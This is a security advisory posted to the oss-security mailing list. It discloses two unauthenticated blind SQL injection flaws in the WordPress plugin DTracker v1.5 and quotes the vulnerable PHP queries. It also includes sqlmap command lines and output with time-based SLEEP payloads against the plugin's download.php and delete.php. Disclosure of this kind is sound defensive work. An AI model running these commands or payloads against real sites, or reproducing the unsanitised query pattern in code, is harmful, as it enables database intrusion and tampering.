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Date: Thu, 09 Mar 2017 07:57:13 -0500
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Multiple Blind SQL injection vulnerability in Wordpress Plugin
 DTracker v1.5

Title: Multiple Blind SQL injection vulnerability in Wordpress Plugin DTracker v1.5
Author: Larry W. Cashdollar, @_larry0
Date: 2017-03-08
CVE-IDs: CVE-2017-1002004 CVE-2017-1002005
Download Site: https://wordpress.org/plugins/dtracker/
Vendor: https://profiles.wordpress.org/dijo/
Vendor Notified: 2017-03-08
Vendor Contact: plugins@...dpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=183
Description: Track the details of the users downloading the pdf files from wordpress site.
Vulnerability:
CVE-2017-1002004:
In file ./dtracker/download.php user input isn't sanitized via the id variable before adding it to the end of an SQL query.

$doc_id         = $_GET['id'];
$file = $wpdb->get_results( "SELECT * FROM wp_posts WHERE ID = $doc_id " );

The user does not need to be authenticated to the Wordpress installation to exploit this vulnerability.

CVE-2017-1002005:
In file ./dtracker/delete.php user input isn't sanitized via the contact_id variable before adding it to the end of an SQL query.

$contact_id     = $_POST['contact_id']; //Contact ID to be deleted

$query  = "DELETE FROM wp_contacts WHERE id = $contact_id";
$wpdb->query($query); // Delete the contact

The user does not need to be authenticated to the Wordpress installation to exploit this vulnerability.

Exploit Code:
	• $ sqlmap -u 'http://example.com/wordpress/wp-content/plugins/dtracker/download.php?id=*'  --dbms mysql  --level 3 --risk 3
	• URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
	• sqlmap identified the following injection point(s) with a total of 1410 HTTP(s) requests:
	• ---
	• Parameter: #1* (URI)
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
	•     Payload: http://192.168.0.169:80/wordpress/wp-content/plugins/dtracker/download.php?id=(CASE WHEN (7148=7148) THEN SLEEP(5) ELSE 7148 END)
	• ---
	• [10:14:09] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Ubuntu 16.04 (xenial)
	• web application technology: Apache 2.4.18
	• back-end DBMS: MySQL >= 5.0.12
	• [10:14:09] [WARNING] HTTP error codes detected during run:
	• 404 (Not Found) - 14 times
	• [10:14:09] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
	


	• $ sqlmap -u 'http://example.com/wordpress/wp-content/plugins/dtracker/delete.php' --data 'contact_id=*'  --dbms mysql --risk 1 --level 3
	•  
	• (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
	• sqlmap identified the following injection point(s) with a total of 831 HTTP(s) requests:
	• ---
	• Parameter: #1* ((custom) POST)
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
	•     Payload: contact_id=(SELECT * FROM (SELECT(SLEEP(5)))Vtrh)
	• ---
	• [11:53:27] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Ubuntu 16.04 (xenial)
	• web application technology: Apache 2.4.18
	• back-end DBMS: MySQL >= 5.0.12
	• [11:53:27] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'

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